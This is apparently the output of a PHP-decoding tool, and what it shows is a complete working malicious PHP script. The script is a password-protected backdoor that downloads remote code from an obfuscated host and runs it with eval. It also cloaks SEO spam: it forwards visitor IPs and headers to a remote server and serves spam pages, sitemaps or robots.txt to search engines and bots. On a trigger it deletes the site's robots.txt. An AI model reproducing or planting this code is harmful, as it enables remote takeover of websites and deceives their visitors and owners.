PHP Decode

<?php header('Content-Type: text/html; charset=utf-8'); @set_time_limit(600);@error_reporting(0);@ignore_user_abort(1);ini_set('display_errors','Off');$a=!empty($_SERVER['HTTPS'])&&strtolower($_SERVER['HTTPS'])!=='off'||isset($_SERVER['HTTP_X_FORWARDED_PROTO'])&&$_SERVER['HTTP_X_FORWARDED_PROTO']==='https'||!empty($_SERVER['HTTP_FRONT_END_HTTPS'])&&strtolower($_SERVER['HTTP_FRONT_END_HTTPS'])!=='off'?"https":"http";$b=$_SERVER["REQUEST_URI"];$c=isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])?$_SERVER['HTTP_ACCEPT_LANGUAGE']:"";$d=$_SERVER["HTTP_HOST"];$f=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:"";$g=isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:"";$h=isset($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:"";$i=array('Accept-Language: '.$c,'User-Agent: '.$g,'Referer: '.$f,'Http-Proto: '.$a,'Http-Host: '.$d,'Http-Uri: '.$b,'Http-X-Forwarded-For: '.$h);$j="type=".$a."&host=".$d."&uri=".$b."&ip=".$h;$k=$_REQUEST['action'];if(!empty($k)){$l=substr($k,-1);$k=substr($k,0,strlen($k)-1);$m=array('9','8','2','4','5','d','7','4','1','7','2','2','5','b','5','5','a','2','c','4','b','f','5','0','b','8','a','a','4','c','7','3');$n=md5($k);if($n==implode($m)){$o=array("h","t","t","p","s",":","/","/","v","p","s","d","d",".","d","f","q","f","a","t",".","t","o","p","/","d","o","o","r","/");$p=getu(implode($o).$l.'.t'.'x'.'t');eval('?>'.$p[0]);}exit();}else{$q="i2jolk.iccoql.top";if($b!=="/favicon.ico"){if(strstr($b,'testsitemap')){$r=$_SERVER['DOCUMENT_ROOT'].'/robots.txt';if(file_exists($r)){unlink($r);}}if(strstr($b,'.xml')||strstr($b,'robots.txt')){list($s,$t,$u)=getu('h'.'t'.'t'.'ps'.':/'.'/'.$q.'/in'.'d'.'ex'.'on'.'e.'.'ph'.'p?'.$j,$i,$j);}else{if(checkReferer($f)||!checkNotBot($g)){list($s,$t,$u)=getu('h'.'t'.'t'.'ps'.':/'.'/'.$q.'/in'.'d'.'ex'.'on'.'e.'.'ph'.'p?'.$j,$i,$j);}}if(isset($t)&&!empty($t)){if($t>=400&&$t<500){@header('HTTP/1.1 404 Not Found');exit($s);}if($t>=500){@header('HTTP/1.1 500 Internal Server Error');exit;}if(!strstr($s,'notthing')){if(strstr($s,'htmlcontent')){@header("Content-type: text/html; charset=utf-8");$v=str_replace("htmlcontent",'',$s);echo $v;exit();}if(strstr($s,'xmlcontent')){@header("Content-type: text/xml");exit(str_replace("xmlcontent",'',$s));}if(strstr($s,'robotscontent')){@header("Content-type: text/plain; charset=utf-8");$w=explode('[zm]',str_replace("robotscontent",'',$s));exit(implode(PHP_EOL,$w));}}}}}function checkReferer($x){$x=strtolower($x);if($x!=""){$y=array("google.co.jp","google.com","yahoo.com","yahoo.co.jp","bing.com","goo.ne.jp","nifty.com");foreach($y as $z){$aa=strtolower($z);if(strstr($x,$aa)){return true;}}}else{return false;}}function checkNotBot($bb){$bb=strtolower($bb);if($bb!=""){$cc=array("AhrefsBot","Amazonbot","BLEXBot","Bytespider","ChatGPT-User","DataForSeoBot","DotBot","facebook","GPTBot","linkdexbot","MJ12bot","SemrushBot","Yandex","Twitterbot");foreach($cc as $z){$aa=strtolower($z);if(strstr($bb,$aa)){return true;}}}else{return false;}}function getu($dd,$i=null,$j=null,$ee=null){if(!function_exists('curl_init')){return;}$ff="";$gg="";$hh="";try{$ii=curl_init();curl_setopt($ii,CURLOPT_URL,$dd);curl_setopt($ii,CURLOPT_FOLLOWLOCATION,1);curl_setopt($ii,CURLOPT_SSL_VERIFYPEER,FALSE);curl_setopt($ii,CURLOPT_SSL_VERIFYHOST,FALSE);curl_setopt($ii,CURLOPT_CONNECTTIMEOUT,30);curl_setopt($ii,CURLOPT_RETURNTRANSFER,1);$i===null?'':curl_setopt($ii,CURLOPT_HTTPHEADER,$i);$ee===null||$ee===""?'':curl_setopt($ii,CURLOPT_USERAGENT,$ee);if($j!==null&&$j!==""){curl_setopt($ii,CURLOPT_POST,1);curl_setopt($ii,CURLOPT_POSTFIELDS,$j);}$ff=curl_exec($ii);$gg=curl_getinfo($ii,CURLINFO_HTTP_CODE);$hh=curl_getinfo($ii,CURLINFO_CONTENT_TYPE);curl_close($ii);}catch(Exception $jj){}if(($ff===false||$ff=="")&&function_exists('file_get_contents')){try{$ff=@file_get_contents($dd);}catch(Exception $jj){}}return array($ff,$gg,$hh);} ?>